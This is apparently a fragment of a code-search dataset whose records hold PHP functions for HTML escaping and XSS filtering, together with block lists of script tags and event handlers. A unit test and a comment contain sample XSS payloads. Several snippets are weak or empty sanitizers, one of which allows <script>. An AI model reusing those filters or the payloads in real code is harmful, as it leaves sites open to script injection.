->seeText($xssAttack);\n }", "title": "" }, { "docid": "1aa6c2e5e1f040f355137b2e410da304", "score": "0.64213544", "text": "function sanitize($data)\r\n{\r\n //htmlentities to help against user entered scripts\r\n return htmlentities(strip_tags(mysqli_real_escape_string($GLOBALS['conn'], $data)));\r\n}", "title": "" }, { "docid": "32b5c3b0d5c2abae85da9dbd56189c79", "score": "0.6393111", "text": "function phutil_safe_html($string) {\n if ($string == '') {\n return $string;\n } else if ($string instanceof PhutilSafeHTML) {\n return $string;\n } else {\n return new PhutilSafeHTML($string);\n }\n}", "title": "" }, { "docid": "2d92ed359f0cf13e3ed40c166b4ff056", "score": "0.6354154", "text": "public function testSanitisation() {\n\t\t$rawContent = '<h1>Welcome</h1><script>alert(\"Hello!\");</script><p>Giant Robots!</p>';\n\t\t$safeContent = '<h1>Welcome</h1><p>Giant Robots!</p>';\n\t\t$field = new EditableLiteralField();\n\n\t\t// Test with sanitisation enabled\n\t\tConfig::inst()->update('HtmlEditorField', 'sanitise_server_side', true);\n\t\t$field->setContent($rawContent);\n\t\t$this->assertEquals($safeContent, $field->getContent());\n\n\t\t// Test with sanitisation disabled\n\t\tConfig::inst()->remove('HtmlEditorField', 'sanitise_server_side');\n\t\t$field->setContent($rawContent);\n\t\t$this->assertEquals($rawContent, $field->getContent());\n\t}", "title": "" }, { "docid": "39755540eaf820034819dd49f0643b39", "score": "0.6339566", "text": "function profound_sanitize_none(){\r\n return;\r\n}", "title": "" }, { "docid": "1b6f61d263b88cd73d4d1fd5e4a26136", "score": "0.63387644", "text": "function filter_xss($string, $allowed_tags = array('a', 'em', 'strong', 'cite', 'blockquote', 'code', 'ul', 'ol', 'li', 'dl', 'dt', 'dd')) {\n // Only operate on valid UTF-8 strings. This is necessary to prevent cross\n // site scripting issues on Internet Explorer 6.\n if (!drupal_validate_utf8($string)) {\n return '';\n }\n // Store the text format.\n _filter_xss_split($allowed_tags, TRUE);\n // Remove NULL characters (ignored by some browsers).\n $string = str_replace(chr(0), '', $string);\n // Remove Netscape 4 JS entities.\n $string = preg_replace('%&\\s*\\{[^}]*(\\}\\s*;?|$)%', '', $string);\n\n // Defuse all HTML entities.\n $string = str_replace('&', '&amp;', $string);\n // Change back only well-formed entities in our whitelist:\n // Decimal numeric entities.\n $string = preg_replace('/&amp;#([0-9]+;)/', '&#\\1', $string);\n // Hexadecimal numeric entities.\n $string = preg_replace('/&amp;#[Xx]0*((?:[0-9A-Fa-f]{2})+;)/', '&#x\\1', $string);\n // Named entities.\n $string = preg_replace('/&amp;([A-Za-z][A-Za-z0-9]*;)/', '&\\1', $string);\n\n return preg_replace_callback('%\n (\n <(?=[^a-zA-Z!/]) # a lone <\n | # or\n <!--.*?--> # a comment\n | # or\n <[^>]*(>|$) # a string that starts with a <, up until the > or the end of the string\n | # or\n > # just a >\n )%x', '_filter_xss_split', $string);\n}", "title": "" }, { "docid": "12856f0b6b156ff3e60ce64ca11b7245", "score": "0.6337895", "text": "function clean_evil_tags( $t )\n\t{\n\t\t$t = preg_replace( \"/javascript/i\" , \"j&#097;v&#097;script\", $t );\n\t\t$t = preg_replace( \"/alert/i\" , \"&#097;lert\" , $t );\n\t\t$t = preg_replace( \"/about:/i\" , \"&#097;bout:\" , $t );\n\t\t$t = preg_replace( \"/onmouseover/i\", \"&#111;nmouseover\" , $t );\n\t\t$t = preg_replace( \"/onclick/i\" , \"&#111;nclick\" , $t );\n\t\t$t = preg_replace( \"/onload/i\" , \"&#111;nload\" , $t );\n\t\t$t = preg_replace( \"/onsubmit/i\" , \"&#111;nsubmit\" , $t );\n\t\t$t = preg_replace( \"/<body/i\" , \"&lt;body\" , $t );\n\t\t$t = preg_replace( \"/<html/i\" , \"&lt;html\" , $t );\n\t\t$t = preg_replace( \"/document\\./i\" , \"&#100;ocument.\" , $t );\n\n\t\treturn $t;\n\t}", "title": "" }, { "docid": "b55f967a45a5767a07667781aa362595", "score": "0.6327583", "text": "function sanitize($string) {\n return strip_tags(htmlspecialchars($string));\n}", "title": "" }, { "docid": "c301a8bcb1a24c67d9295b4f8a67a3c4", "score": "0.63221717", "text": "function sanitize(string $data) {\n\treturn htmlentities(strip_tags(trim($data)),ENT_QUOTES);\n}", "title": "" }, { "docid": "0b7bec655b5c230334594c75ea0d62d8", "score": "0.63054544", "text": "function safe_output($str) {\n\treturn htmlentities($str, ENT_QUOTES);\n}", "title": "" }, { "docid": "2416f1900270d13915ced890a12267af", "score": "0.6304501", "text": "function htmlSafe($text) {\n $text = str_replace(\"'\", \"%%%\", $text);\n $text = str_replace(\"&#39;\", \"%%%\", $text);\n return $text;\n}", "title": "" }, { "docid": "1368c28baec5fd60f2da5e41c30188c1", "score": "0.6294131", "text": "public function htmlspecialchars(){\n // No error is generated, just filters the text\n $this->subject = htmlspecialchars($this->subject);\n }", "title": "" }, { "docid": "26e4769b1b09cc8e76ee64533e094626", "score": "0.62906533", "text": "protected function handleInvalidHtml()\n {\n if (libxml_use_internal_errors(true) === true) {\n libxml_clear_errors(); //***IMPORTANT FOR PERFORMANCE*** Clear libxml error buffer to prevent Memory Leak\n }\n }", "title": "" }, { "docid": "94ae0b67ab4cc1aeadffed1c3fe8820d", "score": "0.62842125", "text": "function filter_injection( $object ) \n{\n $object = htmlspecialchars( $object );\n $object = trim( $object );\n $object = strip_tags( $object );\n $object = mysql_real_escape_string( $object );\n return $object;\n}", "title": "" }, { "docid": "8c0e387b30ade8a2a29c5ffccb94687f", "score": "0.6279397", "text": "function sanitize($data){\n\t//return mysql_real_escape_string($data);\n\treturn htmlentities(strip_tags(mysql_real_escape_string($data)));\n}", "title": "" }, { "docid": "1f40ef7a9d948f7e6a3702ebe45a603a", "score": "0.6268915", "text": "function allowed_html($string)\r\n {\r\n $allowed_tags = split(',', $this->VARS['allowed_tags']);\r\n for ($i = 0; $i <= (count($allowed_tags) - 1); $i++)\r\n {\r\n $allowed_tags[$i] = trim($allowed_tags[$i]);\r\n $string = eregi_replace(\"&lt;$allowed_tags[$i]&gt;([^\\\\[]*)&lt;/$allowed_tags[$i]&gt;\",\"<$allowed_tags[$i]>\\\\1</$allowed_tags[$i]>\", $string);\r\n }\r\n return $string;\r\n }", "title": "" }, { "docid": "dd6974780c19cc62b39acddb142ad756", "score": "0.6260482", "text": "function html ($data) {\n return htmlspecialchars(trim($data), ENT_QUOTES, 'UTF-8');\n}", "title": "" }, { "docid": "85f0ca84ca232433cf2dcc8ab1d36f9b", "score": "0.6258123", "text": "function migla_trim_sql_xss( $string ){\n $safeout = str_replace(\"'\",\" \", $string );\n $safeout = htmlspecialchars( $safeout );\n $safeout = strip_tags( $safeout );\n \n return $safeout;\n}", "title": "" }, { "docid": "2ab6259c46a1ccc0e53c9d669bbc4ea6", "score": "0.6254524", "text": "public function testNoescapeContent()\n\t{\n\t\t$latte = $this->createLatte();\n\t\tAssert::same(\n\t\t\t'<tag data-x=\"\"quotes content\"\"></tag>',\n\t\t\t$latte->renderToString('<tag data-x=\"{asset \"assets/compiled/escape.js\", \"%content%\"|noescape}\"></tag>')\n\t\t);\n\t}", "title": "" }, { "docid": "28020a592619447c6e0e33c05b628e56", "score": "0.6252572", "text": "public function enableHtml();", "title": "" }, { "docid": "e4d9d9700b247d6350679c8740851090", "score": "0.62521034", "text": "function dropHTML($str,$allowed_tags = ''){\n $tags=\"\";\n\t\tif(is_array($allowed_tags)){\n\t\t\tforeach($allowed_tags as $key => $value)\n\t\t\t\t$tags .= $value;\n\t\t\treturn $str = strip_tags($str,$tags);\n\t\t}else{\n\t\t\treturn strip_tags($str,$allowed_tags);\n\t\t}\n\t}", "title": "" }, { "docid": "948916e060f95fe99afe0536e1703f76", "score": "0.6248275", "text": "function removeEvilTags( $str )\n {\n $allowedTags = $this->_allowedTags;\n \n if ( $this->_allowScript )\n {\n $allowedTags .= '<script>';\n }\n \n if ( $this->_allowStyle )\n {\n $allowedTags .= '<style>';\n }\n \n if ( $this->_allowObjects )\n {\n $allowedTags .= '<object><embed><applet><param>';\n }\n \n $allowedTags .= $this->_additionalTags;\n \n $str = strip_tags($str, $allowedTags );\n \n // if ( $this->_allowObjects )\n // {\n // $str = removeEmbedAttr($str, ''); \n // }\n\n return $str;\n }", "title": "" }, { "docid": "4d0f76c90d1351de81fab6cc04fd3b9a", "score": "0.6247015", "text": "public static function sanitize_output($data) {\r\n // Strip tags from $data and convert special characters (+ double & single quotes) to HTML entities\r\n return htmlspecialchars(strip_tags($data), ENT_QUOTES, 'UTF-8');\r\n }", "title": "" }, { "docid": "5ef50bba33b794abce07260e1a447d2f", "score": "0.6246152", "text": "function sanitization_filters() {\n\t\n\t\t\tgenesis_add_option_filter( 'no_html', $this->settings_field,\n\t\t\t\tarray( \n\t\t\t\t\t'title',\n\t\t\t\t) );\n\t\t\tgenesis_add_option_filter( 'safe_html', $this->settings_field,\n\t\t\t\tarray(\n\t\t\t\t\t'content',\n\t\t\t\t) );\n\t\t}", "title": "" }, { "docid": "9d6b92c29c0d5074be42c5f52724e077", "score": "0.62454325", "text": "function filter($data) {\n // NOTE --> currently not using strip tags because that still eaves the text between the tags and we don't want that\n \n //$data = htmlspecialchars_decode($data);\n \n $data = trim(remove_HTML($data));\n \n //$data - filter_var($data, FILTER_SANITIZE_SPECIAL_CHARS);\n //$data = trim(htmlentities(strip_tags($data)));\n \n /*\n if (get_magic_quotes_gpc())\n $data = stripslashes($data);\n \n $data = mysql_real_escape_string($data);\n */\n return $data;\n}", "title": "" }, { "docid": "ebd7a9044f26cef6df57b148f983e142", "score": "0.62449056", "text": "public function testHtmlTagsAreNotModified()\n {\n $input = 'no <foo>html</foo>';\n $output = str_replace_ignore_tags('foo', 'bar', $input);\n $this->assertSame('no <foo>html</foo>', $output);\n }", "title": "" }, { "docid": "07e14e34d1d83cd07a891fddf3516d7e", "score": "0.6244761", "text": "function check_body($input)\n{\n // Check BODY (sanitize only);\n if ((isset($input)) && (!empty($input))) {\n // we white list the allowed html tags\n return strip_tags($input, \"<div><br><br /><p><sub><img><sup><strong><b><em><u><a><s><font><span><ul><li><ol><blockquote><h1><h2><h3><h4><h5><h6><hr><table><tr><td><code><video><audio>\");\n } else {\n return '';\n }\n}", "title": "" }, { "docid": "4b7fa32cde739ea50c6dcc2ef1e4d70f", "score": "0.6241996", "text": "private function sanitize($input)\n\t{\n\t\treturn htmlspecialchars(strip_tags(trim($input)));\n\t}", "title": "" }, { "docid": "b21250bc0ab7bbe84b55d9d5c1fc25a6", "score": "0.62269276", "text": "function filtre($variable)\r\n{\r\n global $connexion;\r\n //function that not allowing run any scripts\r\n $varFiltre = mysqli_real_escape_string($connexion, $variable);\r\n //function to remove any html tags exept b p a i\r\n $varFiltre = strip_tags($varFiltre);\r\n return $varFiltre;\r\n}", "title": "" }, { "docid": "92ce0452ece212b132321ebe7d03237d", "score": "0.62246233", "text": "function maisha_no_sanitize( $input ) {\n}", "title": "" }, { "docid": "6fd5dfeba6ec9b0704c543e6026aa8dc", "score": "0.62231606", "text": "protected function __sanitizeString($str)\n {\n return html_purify($str);\n }", "title": "" }, { "docid": "bf3744bedda10069078d36aa684c28ed", "score": "0.62047714", "text": "function sanitize($dirty){\n return htmlentities($dirty, ENT_QUOTES, \"UTF-8\");\n}", "title": "" }, { "docid": "95ed1c51fb2d4a1db3f0da860fd24488", "score": "0.62034047", "text": "function sanitize_form_string($in)\n\t {\n\t \treturn strip_tags($in);\n\t }", "title": "" }, { "docid": "92b232c91e71459a933b62977f872e71", "score": "0.61992556", "text": "public function testHtmlWrapper()\n {\n $filter = new BadWordFilter(['also_check' => ['bad word']]);\n\n static::assertEquals('<h3>b******d</h3>some text', $filter->clean('<h3>bad word</h3>some text'));\n }", "title": "" }, { "docid": "39851feff10f8b5f7bae792a9b9b59e2", "score": "0.6196023", "text": "function noValidateHtml(){\n\t\tprint<<<ERROR\n<html>\n <body>\n\t <p>The username or password you entered is already taken. Please click <a href=\"signup.php\">here</a> to try again.</p>\n\t</body>\n</html>\nERROR;\n\t}", "title": "" }, { "docid": "7c9b750f2f97896196293ab7b5e50729", "score": "0.6192526", "text": "function sanitize($in) {\n\treturn addslashes(htmlspecialchars(strip_tags(trim($in))));\n}", "title": "" }, { "docid": "7cab4bf4b8aa9b2c062739a9e3dfb050", "score": "0.6187942", "text": "function filter_xss_admin($string) {\n return filter_xss($string, array('a', 'abbr', 'acronym', 'address', 'article', 'aside', 'b', 'bdi', 'bdo', 'big', 'blockquote', 'br', 'caption', 'cite', 'code', 'col', 'colgroup', 'command', 'dd', 'del', 'details', 'dfn', 'div', 'dl', 'dt', 'em', 'figcaption', 'figure', 'footer', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'header', 'hgroup', 'hr', 'i', 'img', 'ins', 'kbd', 'li', 'mark', 'menu', 'meter', 'nav', 'ol', 'output', 'p', 'pre', 'progress', 'q', 'rp', 'rt', 'ruby', 's', 'samp', 'section', 'small', 'span', 'strong', 'sub', 'summary', 'sup', 'table', 'tbody', 'td', 'tfoot', 'th', 'thead', 'time', 'tr', 'tt', 'u', 'ul', 'var', 'wbr'));\n}", "title": "" }, { "docid": "f60f8c78161fc8ceaac228eef8b9bfd8", "score": "0.6186862", "text": "function moesia_no_sanitize( $input ) {\n}", "title": "" }, { "docid": "200610110bfae015eb74df1b2182392f", "score": "0.6165945", "text": "private function remove_xss($data)\n\t{\n\t\t// http://svn.bitflux.ch/repos/public/popoon/trunk/classes/externalinput.php\n\t\t// +----------------------------------------------------------------------+\n\t\t// | Copyright (c) 2001-2006 Bitflux GmbH |\n\t\t// +----------------------------------------------------------------------+\n\t\t// | Licensed under the Apache License, Version 2.0 (the \"License\"); |\n\t\t// | you may not use this file except in compliance with the License. |\n\t\t// | You may obtain a copy of the License at |\n\t\t// | http://www.apache.org/licenses/LICENSE-2.0 |\n\t\t// | Unless required by applicable law or agreed to in writing, software |\n\t\t// | distributed under the License is distributed on an \"AS IS\" BASIS, |\n\t\t// | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or |\n\t\t// | implied. See the License for the specific language governing |\n\t\t// | permissions and limitations under the License. |\n\t\t// +----------------------------------------------------------------------+\n\t\t// | Author: Christian Stocker <[email protected]> |\n\t\t// +----------------------------------------------------------------------+\n\t\t//\n\t\t// Kohana Modifications:\n\t\t// * Changed double quotes to single quotes, changed indenting and spacing\n\t\t// * Removed magic_quotes stuff\n\t\t// * Increased regex readability:\n\t\t// * Used delimeters that aren't found in the pattern\n\t\t// * Removed all unneeded escapes\n\t\t// * Deleted U modifiers and swapped greediness where needed\n\t\t// * Increased regex speed:\n\t\t// * Made capturing parentheses non-capturing where possible\n\t\t// * Removed parentheses where possible\n\t\t// * Split up alternation alternatives\n\t\t// * Made some quantifiers possessive\n\n\t\t// Fix &entity\\n;\n\t\t$data = str_replace(array('&amp;','&lt;','&gt;'), array('&amp;amp;','&amp;lt;','&amp;gt;'), $data);\n\t\t$data = preg_replace('/(&#*\\w+)[\\x00-\\x20]+;/u', '$1;', $data);\n\t\t$data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data);\n\t\t$data = html_entity_decode($data, ENT_COMPAT, 'UTF-8');\n\n\t\t// Remove any attribute starting with \"on\" or xmlns\n\t\t$data = preg_replace('#(<[^>]+?[\\x00-\\x20\"\\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data);\n\n\t\t// Remove javascript: and vbscript: protocols\n\t\t$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=[\\x00-\\x20]*([`\\'\"]*)[\\x00-\\x20]*j[\\x00-\\x20]*a[\\x00-\\x20]*v[\\x00-\\x20]*a[\\x00-\\x20]*s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:#iu', '$1=$2nojavascript...', $data);\n\t\t$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=([\\'\"]*)[\\x00-\\x20]*v[\\x00-\\x20]*b[\\x00-\\x20]*s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:#iu', '$1=$2novbscript...', $data);\n\t\t$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=([\\'\"]*)[\\x00-\\x20]*-moz-binding[\\x00-\\x20]*:#u', '$1=$2nomozbinding...', $data);\n\n\t\t// Only works in IE: <span style=\"width: expression(alert('Ping!'));\"></span>\n\t\t$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'\"]*.*?expression[\\x00-\\x20]*\\([^>]*+>#i', '$1>', $data);\n\t\t$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'\"]*.*?behaviour[\\x00-\\x20]*\\([^>]*+>#i', '$1>', $data);\n\t\t$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'\"]*.*?s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:*[^>]*+>#iu', '$1>', $data);\n\n\t\t// Remove namespaced elements (we do not need them)\n\t\t$data = preg_replace('#</*\\w+:\\w[^>]*+>#i', '', $data);\n\n\t\tdo\n\t\t{\n\t\t\t// Remove really unwanted tags\n\t\t\t$old_data = $data;\n\t\t\t$data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);\n\t\t}\n\t\twhile ($old_data !== $data);\n\t\t\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "0e439e719eccb4486f3eb9cfca4ff1a7", "score": "0.6164573", "text": "function safe($string) {\r\n return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');\r\n }", "title": "" }, { "docid": "45db734c2e6f3424c432c93666e1dd11", "score": "0.61534244", "text": "function protect($string){\r\n\r\n\t\t$string = trim(strip_tags(addslashes($string)));\r\n\r\n\t\treturn $string;\r\n\r\n\t}", "title": "" }, { "docid": "6fbceb43652f55915fe6788938ece739", "score": "0.6152862", "text": "function cleanseHTML($str)\n\t{\n\t\tif (get_magic_quotes_gpc()) {\n\t\t\t$str = stripslashes($str);\n\t\t}\n\t\treturn mysql_real_escape_string($str);\n\t}", "title": "" }, { "docid": "781ff2134f83e26a4378fb9ff2375ce9", "score": "0.61457145", "text": "function scrub_content($html)\n{\n\t$junkTags= [\n\t\t\"style\", \"form\", \"iframe\", \"script\", \"button\", \"input\", \"textarea\", \n \"noscript\", \"select\", \"option\", \"object\", \"applet\", \"basefont\",\n \"bgsound\", \"blink\", \"canvas\", \"command\", \"menu\", \"nav\", \"datalist\",\n \"embed\", \"frame\", \"frameset\", \"keygen\", \"label\", \"marquee\", \"link\"\n ];\n\n // remove the junk tags\n foreach ($junkTags as $tag) {\n \t$html = preg_replace(\"#<\\\\s*$tag\\\\s*>.*<\\\\s*/\\\\s*$tag\\\\s*>#um\", \" \", $html);\n }\n\n // remove empty tags\n $html = preg_replace(\"#<\\\\s*\\\\w+\\\\s*>\\\\s*<\\\\s*/\\\\s*\\\\w+\\\\s*>#um\", \" \", $html);\n\n // remove extra white spaces\n $html = preg_replace(\"#\\\\s+#um\", \" \", $html);\n\n return $html;\n}", "title": "" }, { "docid": "2a2ac0cd87abed39cd88bb6163122e35", "score": "0.61413103", "text": "function escape($input){\n\treturn htmlspecialchars(strip_tags($input));\n\n}", "title": "" }, { "docid": "3a2b6b59b81f767767bec32c2348867a", "score": "0.61396706", "text": "abstract public function sanitiseOutput($text);", "title": "" }, { "docid": "30ec667ac0bc610f0b8ce88426605055", "score": "0.6132657", "text": "function escape_once($html)\r\n{\r\nreturn fix_double_escape(htmlspecialchars($html));\r\n}", "title": "" }, { "docid": "a05dc37051cec71039e588d938bedc95", "score": "0.6131852", "text": "protected function sanitize($arg) {\n $step1 = strip_tags($arg);\n $step2 = htmlspecialchars($step1);\n return $step2;\n }", "title": "" }, { "docid": "2db69c6319f1b95e476f082dcc6a21d9", "score": "0.6118349", "text": "function lh_disable_editor(){\n\tglobal $post;\n\t$raw_html = (bool) get_post_meta($post->ID, \"_lh_raw_html\", true);\n\tif($raw_html){\n\t\tadd_filter(\"user_can_richedit\", \"__return_false\");\n\t}\n}", "title": "" }, { "docid": "4ccf1a4901f8514adc1282251453a271", "score": "0.61156917", "text": "function sanitize ($i)\n{\n return htmlspecialchars(strip_tags($i));\n}", "title": "" }, { "docid": "580056e8d9ee7d8dd92a2eeab57ff570", "score": "0.61145693", "text": "function safehtml($t) {\n\tstatic $safehtml;\n\n\t# attention safehtml nettoie deux ou trois caracteres de plus. A voir\n\tif (strpos($t,'<')===false)\n\t\treturn str_replace(\"\\x00\", '', $t);\n\n\t$t = interdire_scripts($t); // jolifier le php\n\t$t = echappe_js($t);\n\n\tif (!isset($safehtml))\n\t\t$safehtml = charger_fonction('safehtml', 'inc', true);\n\tif ($safehtml)\n\t\t$t = $safehtml($t);\n\n\treturn interdire_scripts($t); // interdire le php (2 precautions)\n}", "title": "" }, { "docid": "eb79b08647be12ca14110bc288c71ed9", "score": "0.61073136", "text": "function safe_output($string) {\n\treturn \\htmlentities($string, ENT_QUOTES, 'utf-8');\n}", "title": "" }, { "docid": "44d652aab8b0f7a3658a90cc51417587", "score": "0.6101728", "text": "function sanitize($data){\n\n\treturn htmlentities(strip_tags(mysql_real_escape_string($data)));\n}", "title": "" }, { "docid": "112b952731e3e5b90d3ade75b89917ba", "score": "0.6097572", "text": "function filter(&$value)\n {\n $value = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');\n }", "title": "" }, { "docid": "e774d247559380d3329c5e7fb45ba0e1", "score": "0.60970604", "text": "function strip_html_tags($str, $allowed = '')\r\n{\r\n $str = preg_replace('/(<|>)\\1{2}/is', '', $str);\r\n $str = preg_replace(array(\r\n // Remove invisible content\r\n '@<head[^>]*?>.*?</head>@siu',\r\n '@<style[^>]*?>.*?</style>@siu',\r\n '@<script[^>]*?.*?</script>@siu',\r\n '@<object[^>]*?.*?</object>@siu',\r\n '@<embed[^>]*?.*?</embed>@siu',\r\n '@<applet[^>]*?.*?</applet>@siu',\r\n '@<noframes[^>]*?.*?</noframes>@siu',\r\n '@<noscript[^>]*?.*?</noscript>@siu',\r\n '@<noembed[^>]*?.*?</noembed>@siu',\r\n // Add line breaks before and after blocks\r\n '@</?((address)|(blockquote)|(center)|(del))@iu',\r\n '@</?((div)|(h[1-9])|(ins)|(isindex)|(p)|(pre))@iu',\r\n '@</?((dir)|(dl)|(dt)|(dd)|(li)|(menu)|(ol)|(ul))@iu',\r\n '@</?((table)|(th)|(td)|(caption))@iu',\r\n '@</?((form)|(button)|(fieldset)|(legend)|(input))@iu',\r\n '@</?((label)|(select)|(optgroup)|(option)|(textarea))@iu',\r\n '@</?((frameset)|(frame)|(iframe))@iu'\r\n ), array(\r\n ' ',\r\n ' ',\r\n ' ',\r\n ' ',\r\n ' ',\r\n ' ',\r\n ' ',\r\n ' ',\r\n ' ',\r\n \"\\n\\$0\",\r\n \"\\n\\$0\",\r\n \"\\n\\$0\",\r\n \"\\n\\$0\",\r\n \"\\n\\$0\",\r\n \"\\n\\$0\",\r\n \"\\n\\$0\",\r\n \"\\n\\$0\"\r\n ), $str);\r\n return strip_tags($str, $allowed);\r\n return $str;\r\n}", "title": "" }, { "docid": "030ed0e16f22d742aa021dd52955fffd", "score": "0.6091112", "text": "function xss_cleaner($input_str) {\n $return_str = str_replace( array('<','>',\"'\",'\"',')','('), array('&lt;','&gt;','&apos;','&#x22;','&#x29;','&#x28;'), $input_str );\n $return_str = str_ireplace( '%3Cscript', '', $return_str );\n return $return_str;\n}", "title": "" }, { "docid": "030ed0e16f22d742aa021dd52955fffd", "score": "0.6091112", "text": "function xss_cleaner($input_str) {\n $return_str = str_replace( array('<','>',\"'\",'\"',')','('), array('&lt;','&gt;','&apos;','&#x22;','&#x29;','&#x28;'), $input_str );\n $return_str = str_ireplace( '%3Cscript', '', $return_str );\n return $return_str;\n}", "title": "" }, { "docid": "030ed0e16f22d742aa021dd52955fffd", "score": "0.6091112", "text": "function xss_cleaner($input_str) {\n $return_str = str_replace( array('<','>',\"'\",'\"',')','('), array('&lt;','&gt;','&apos;','&#x22;','&#x29;','&#x28;'), $input_str );\n $return_str = str_ireplace( '%3Cscript', '', $return_str );\n return $return_str;\n}", "title": "" }, { "docid": "6e659bd20fc83115f5782d3889c0683d", "score": "0.6072834", "text": "public function removeAnyScript () {\r\n\t\t\t$this->_USERNAME = htmlspecialchars($this->_USERNAME);\r\n\t\t\t$this->_FIRSTNAME = htmlspecialchars($this->_FIRSTNAME);\r\n\t\t\t$this->_LASTNAME = htmlspecialchars($this->_LASTNAME);\r\n\t\t\t$this->_EMAIL = htmlspecialchars($this->_EMAIL);\r\n\t\t}", "title": "" }, { "docid": "38ae25781d76e19f098f5f1724cdcbb0", "score": "0.6072352", "text": "function filter($data) {\n $data = trim(htmlentities(strip_tags($data)));\n if (get_magic_quotes_runtime())\n $data = stripslashes($data);\n $data = mysql_real_escape_string($data);\n return $data;\n }", "title": "" }, { "docid": "e6aaa5e33724f0c509e0638bf6e62f19", "score": "0.60673696", "text": "function wpse_allowedtags() {\n return '<script>,<style>,<br>,<em>,<i>,<ul>,<ol>,<li>,<a>,<p>,<img>,<video>,<audio>';\n }", "title": "" }, { "docid": "9eb4a9eec72982d0c68208badb693fd5", "score": "0.60528684", "text": "function test_input($data) {\n $data = trim($data);\n $data = strip_tags($data);\n $data = htmlspecialchars($data);\n return $data;\n }", "title": "" }, { "docid": "74ca811b59ad0aee506cd1890bb0bca0", "score": "0.60474783", "text": "private function cleanVars()\r\n {\r\n foreach ($this->vars as &$var) {\r\n $var = htmlspecialchars($var);\r\n }\r\n }", "title": "" }, { "docid": "0a5515240ae0da395f79eabe996ceba2", "score": "0.6044679", "text": "protected function prepare() {\n // were normal tags after htmlspecialchars() with $double_encode = false.\n // This is undone in finish().\n $output = preg_replace('/&([lg]t;)/u', '&amp;\\1', $this->output);\n\n $flags = ENT_NOQUOTES | static::$html5Flag;\n static::$html5Flag and $flags |= ENT_SUBSTITUTE;\n $output = htmlspecialchars($output, $flags, 'utf-8', false);\n\n $replace = $this->keepComments ? '<!--\\1-->' : '';\n $output = preg_replace('/&lt;!--(.*?)(--&gt;|$)/us', $replace, $output);\n\n $this->output = $output;\n }", "title": "" }, { "docid": "2546cc0c47f853998e2c6742dcb85778", "score": "0.6042608", "text": "function clean_string_html($string) {\n $clean_string = htmlspecialchars(trim($string));\n return $clean_string;\n}", "title": "" }, { "docid": "bc332cb843e9532746833d991e89f500", "score": "0.6038426", "text": "public function sanitise (SS_HTMLValue $html) {\n\t\tparent::sanitise($html);\n\n\t\t// Then we re-run through purifier\n\t\t$dirty = $html->getContent();\n\n\t\t$purifier = new HTMLPurifier($this->purifierConfig);\n\t\t$clean = $purifier->purify($dirty);\n\n\t\t$html->setContent($clean);\n\t}", "title": "" }, { "docid": "59b550472fe313170ec8e578c021db05", "score": "0.6035465", "text": "function filterXSS($val) {\n // this prevents some character re-spacing such as <java\\0script>\n // note that you have to handle splits with \\n, \\r, and \\t later since they *are* allowed in some inputs\n $val = preg_replace('/([\\x00-\\x08][\\x0b-\\x0c][\\x0e-\\x20])/', '', $val);\n \n // straight replacements, the user should never need these since they're normal characters\n // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>\n $search = 'abcdefghijklmnopqrstuvwxyz';\n $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $search .= '1234567890!@#$%^&*()';\n $search .= '~`\";:?+/={}[]-_|\\'\\\\';\n for ($i = 0; $i < strlen($search); $i++) {\n // ;? matches the ;, which is optional\n // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars\n \n // &#x0040 @ search for the hex values\n $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;\n // &#00064 @ 0{0,7} matches '0' zero to seven times\n $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;\n }\n \n // now the only remaining whitespace attacks are \\t, \\n, and \\r\n $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');\n $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 